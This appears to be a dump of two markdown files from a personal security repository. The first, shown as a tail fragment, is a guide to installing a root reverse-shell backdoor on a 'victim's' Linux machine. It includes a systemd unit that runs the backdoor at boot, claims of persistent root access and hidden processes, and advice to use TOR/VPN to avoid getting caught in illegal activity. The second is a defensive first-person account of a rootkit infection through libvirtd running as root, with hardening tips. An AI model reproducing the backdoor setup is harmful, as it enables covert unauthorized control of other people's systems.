Handler/Backdoor listener on stand-by on your Linux attack machine. 94 | 95 | ----------------------------------------- 96 | 97 | **Contents of /usr/lib/systemd/system/reverse-backdoor.service** 98 | 99 | The following systemd service file contents is supposed to be added to `/usr/lib/systemd/system/reverse-backdoor.service` on victim's Linux machine. 100 | 101 | ``` 102 | [Unit] 103 | Description=Backdoor 104 | After=network.target 105 | 106 | [Service] 107 | Type=oneshot 108 | RemainAfterExit=yes 109 | 110 | ExecStart=/home/penguin/reverse_backdoor 111 | ExecStop=/home/penguin/reverse_backdoor 112 | 113 | [Install] 114 | WantedBy=multi-user.target 115 | ``` 116 | ----------------------------------------- 117 | 118 | **Systemd vs. init** 119 | 120 | Of course, you can adapt this systemd service file as `init` script as well. However, majority of Linux distributions come with systemd nowadays, except for Gentoo etc. 121 | 122 | **Testing scope** 123 | 124 | The instructions have been tested and they work as expected. You gain root access on the victim's Linux machine, no matter which network the victim has connected to. You don't need to care about passwords either since the backdoor is executed as root during system boot-up. Actually, you can change the password and do what the hell you want on the victim's Linux machine. According to my remote tester (who was behind NAT), the opened hostile bash shell process is not visible on graphical system monitor view (this applies to XFCE, at least). 125 | 126 | Victim can still detect the hostile shell process, other processes and opened network sockets with `netstat/sockstat` commands. However, distinguishing them from friendly processes is another thing... 127 | 128 | ----------------------------------------- 129 | 130 | Simple attack schema: 131 | 132 | ``` 133 | <---> <---> <---> 134 | 135 | 136 | |->> <-------------> <<-| 137 | |->> <-------------> <<-| 138 | 139 | <---------------------------------------------> 140 | <<- valuable data, malicious commands ->> 141 | ``` 142 | 143 | In hardened scenarios, using TOR/VPN is recommended to avoid getting caught if illegal activies are performed. 144 | 145 | ----------------------------------------- 146 | -------------------------------------------------------------------------------- /random/linux-rootkit-realcase.md: -------------------------------------------------------------------------------- 1 | ## Real life case: Hostile Linux rootkit on my system. How did I get infected by a real Linux rootkit first time in my life? 2 | 3 | TL;DR; By running `libvirtd` background process as root. Please, don't. 4 | 5 | ### My experience: Infected Arch Linux KVM hypervisor 6 | 7 | So, after long 8.5 years of Linux experience, administration and usage, it had to happen to me. I have secured many of my systems over the years, but didn't consider `libvirtd` process to become a sneaky issue one day. I have [virt-manager (Virtual Machine Manager)](https://en.wikipedia.org/wiki/Virtual_Machine_Manager), which I use**d** to run QEMU KVM instances using `libvirtd` _system_ process by default. However, not anymore. Let me explain. 8 | 9 | For those, who don't know: `libvirtd` stands for _libvirt virtualization management system, server side daemon_ ([website](https://libvirt.org/)) 10 | 11 | And ugh, these obfuscated terms. Let's cut the crap. `libvirtd`/`QEMU` _system_ process? Well, to speak, it means that every time you launch a QEMU virtual machine on [virt-manager](https://en.wikipedia.org/wiki/Virtual_Machine_Manager) GUI, you call `libvirtd` process which is run in the background as... `root`! Cool and secure, isn't it? 12 | 13 | So what was my ultimate mistake? I did open a QEMU instance from `virt-manager` using `libvirtd` _system_ process, being a stupid and novice idiot. On that QEMU virtual machine, I did some security-related research as _non-root user_ and opened a malicious website, and then... BOOM. I had KDE 5 Dolphin file manager & VLC media player running on the host OS at the moment, and every time I tried open a file using these programs, they just... hang. After a while, I stopped that malicious QEMU virtual machine, and figured out something is not right on my hypervisor Arch Linux host system. 14 | 15 | Right now, someone could say: YOUR FAULT! Yes, it is. Or drop the network (physically), and do some RAM/memory analysis, stay calm. Correct answer, maybe. I trusted my hardened 5.5 year old Arch Linux system too much, so I didn't expect this to be possible in the first place. So, I ignored some recovery principles some experts suggest to a situation like this, and rebooted my system. 16 | 17 | After the reboot, I opened a new TTY (shell/CLI). Even before logging in, I found out that something fancy was going on. Whitepace characters, appearing from nowhere at regular 1 second intervals, automatically being printed on `/dev/stdout` (STDOUT): 18 | 19 | ![](../images/linux_hypervisor_rootkit.png) 20 | _Well, this is something new I have never seen in the last 8.5 years. You definitely don't want this running on your company's production or server systems, do you?_ 21 | 22 | These `^@^@`. Appearing from...where? That was my question. At this point, my system was already disconnected from network. I did some basic investigation on the system, until I realized that rootkits can hide themselves from process & kernel modules lists, opened network sockets list, and basically, from everywhere on a running system. So to speak: say goodbye to any basic `lsmod`, `ps`, `strace`,`netstat`... commands. Checking `/proc` folder directly may be useless, too. These tools...they won't help you. 23 | 24 | I did basic rootkit lookup with basic tools such as `rkhunter` (already had my suspicions that this is not going to work but did it anyway). I did timestamp and recursive analysis on all files in non-running Arch Linux system from a live-USB Linux, and found out nothing. I re-installed a bunch of packages (including `glib`, `linux` (kernel), `gcc`...), using locally obtained `tar.xz` packages from trusted remote sources, and the "problem" disappeared for a while, until `^@^@` stuff began to pop up again on my screen. Fuck that shit, that was my first thought. 25 | 26 | At this point, I decided it was time to say goodbye to that Arch Linux system. So I nuked it, destroyed MBR (master boot record) and every bit I had on the system. I have a NVMe drive, so I secure-erased it and checked `hexdump` results. I re-installed and re-configured Arch Linux system components directly to a SDHC card, from which I dropped all the system data to secure-formatted NVMe drive after all. So, basically, I reinstalled everything from scratch, from trusted sources only. 27 | 28 | And those fancy `^@^@` characters never appeared again. 29 | 30 | ### How long did it take to recover? 31 | 32 | TL;DR; 3-4 _very, very_ intensive days. And remember: only one system. Got bunch of these systems on a company's network, you'd be fucked. I don't want to be that guy solving that hassle. Please, take simple security steps and avoid this situation as much as you can. 33 | 34 | ### My mistakes 35 | 36 | I understand several basic facts here: 37 | 38 | - **Mistake 1.** Misconfigured KVM hypervisor. `QEMU` processes and `libvirtd` requires much more attention and configuration steps than running basic Oracle VirtualBox VM instances. Afterwards, I learned that you can run QEMU KVM instances using _session_ mode, which is absolutely the one I will use from this day. Still checking whether `libvirtd` is a root process or not. You found out use for _system_ process mode, too? Well, thanks but not on my computer, never again. 39 | 40 | - **Mistake 2.** - Trusting software too much. When I did basic `libvirtd` configuration on my system, I either didn't find or was too lazy to search for correct documentation. This is purely my mistake, unless the documentation is really lacking. In addition, I must re-check my `spice protocol` settings for any CVEs and, especially, policy of `copy-paste` clipboard functionality as it has some vulnerabilities by design. 41 | 42 | - **Mistake 3.** being like a [LazySysAdmin](https://www.vulnhub.com/entry/lazysysadmin-1,205/). This is absolutely unforgivable reason for anything you do on your systems: always check the default configuration of your software. After all, it's all about trust. Do you trust the software? Do you trust the maintainers? Do you trust the devs? Do you trust the underlying code? If you do, still ask these questions twice before proceeding. Check processes, check your IDS/IPS & firewall settings, check opened network sockets! 43 | 44 | - **Mistake 4.** - Trusting Linux too much. "Linux never gets infected. Hey, it is LINUX! You don't need AV here". Well, bullshit. I was already aware that Linux is not as secure as many novices may think. Not when misused or misconfigured. Even a small security hole can explode the pot. This was my mistake, and I was the weakest point here, not the Linux system. 45 | 46 | - **Mistake 5.** Trusting antivirus software. `rkhunter` and basic anti-rootkit may not help at all: let's put it simple. This is a global race between blackhats & security guys. New rootkits and malware is being invented, new hide tricks, new CVEs being found out and so on...many blackhats write their own rootkits and shit, so good luck revealing that with your updated and "trusted" green-stamped AV (anti-virus) software. Hell, some rootkits even tamper your BIOS or NVRAM firmware. 47 | 48 | ### Conclusions 49 | 50 | This was something that taught me security in a real hard way. Before that, all Metasploit stuff...well, this is something new. I doubt the main target of this attack is some data centers or other places where QEMU is being used. Just think about it: let your users run their malicious shit on virtual machines, and using misconfigured hypervisor process `libvirtd`, the hypervisor itself can become infected. And the user still happily continues using his/her virtual machine instance, never knowing about the threat. Instead, it is sysadmin's problem now. You definitely want to find this threat but you don't want to be that sysadmin who explains to management or boss how this situation was possible in the first place. 51 | 52 | #### About those `^@^@` characters 53 | 54 | I did some `strace` investigation, and these characters appeared to be actually whitespaces (tabs), printed to a TTY. Whatever I or the system automatically did, those characters were printed at regular, approximately in 1 second intervals: no matter whether I opened `nano`, login prompt or `systemd` did something before/after login, whitespace characters appeared, seen as `^@` in a TTY. In `nano`, the prompt was actually jumping automatically instead of adding new whitespace characters into an opened document. 55 | 56 | Obviously, when your host system suddenly starts to print out whitespace characters by itself after mysterious KVM host application hang ups (Dolphin & VLC in my case), it is a clear and visible symptom of an anomaly on a system, and a clear sign of a malicious process running on. This was a mistake from bad guys side. How do I know it was not just a simple user process doing nasty work behind the scenes? Because whitespace characters started to print out immediately after system start-up, before any login attempts even took place. And I couldn't point out in normal means which process was actually causing this behavior. Looks like rootkit to me. 57 | 58 | One thing though: I don't know if it's my feeling or not, but it looked like those characters became "more" visible if any `sudo` or root-related authentication was attempted. Pretty obvious sign of malicious activity, if true. Another noteworthy thing: I found suspicious `gamin` process network socket entries (`netstat`) ([Gamin](https://en.wikipedia.org/wiki/Gamin)). 59 | 60 | I maintained the same system 5.5 years. 61 | 62 | ### Again: basics of security 63 | 64 | #### Examples 65 | 66 | One could say: back to the roots. Indeed. 67 | 68 | Let's cut the crap and remind you: never run, never run anything as root. NEVER! 69 | 70 | - You got X server? Drop `root` immediately (yes, damn possible since v1.16)! 71 | 72 | - You got that fancy SDDM or _any-fucking-ever_ GUI user login manager (display manager) on your fresh Ubuntu/Fedora/Gentoo/OpenSUSE/any-distro? Gz, it likely runs as `root`. And know this: it does, by design, by default. Excluding GDM. And the best part: no-one talks about it. 73 | 74 | - If you can't drop `root` permissions of your login manager, say your greetings to fellow login manager devs on GitHub/GitLab/any-dev-platform, rip out and purge their binary-blob code from your systems. Login directly from TTY. Yeah, you don't want and you miss that nice GUI login? Either that or you open another attack vector on your systems and may say hello to truly evil blackhats. 75 | 76 | #### Basic principle 77 | 78 | So here comes the basic principle: You got ANY, and I mean ANY, process run as root? Drop `root`. Better: never run that process as `root` in the first place. Use `root` only, and only, when you absolutely trust the command at 100% (like doing `dd`s or `rsync`s) and the action is very justified overall. 79 | 80 | #### Be critical, be tinfoil hat - always 81 | 82 | Yes, I said it loud. Be tinfoil. 83 | 84 | You got a server daemon process, run as `root`? Why? Where does it need those permissions? You don't know? Got no answer from devs? No? No much discussion found after searching a little while in the internet? My answer: drop the process, and never run it as `root`. If you have already ran that process as `root` _even once_, you have already opened a possible attack vector, so congratulations and good luck with that. 85 | 86 | These examples could be countless, and an every day problem I see across the internet. Replies between novices and senior guys & trusted devs. On Unix & Linux StackExchange, on StackOverflow, on GitHub tickets.... Oh god those `chmod 777` & _I don't know what this command does and I don't know what I am doing but I do it anyway_ guys there. Be sure you don't belong to them if you care about your systems and security at all. 87 | --------------------------------------------------------------------------------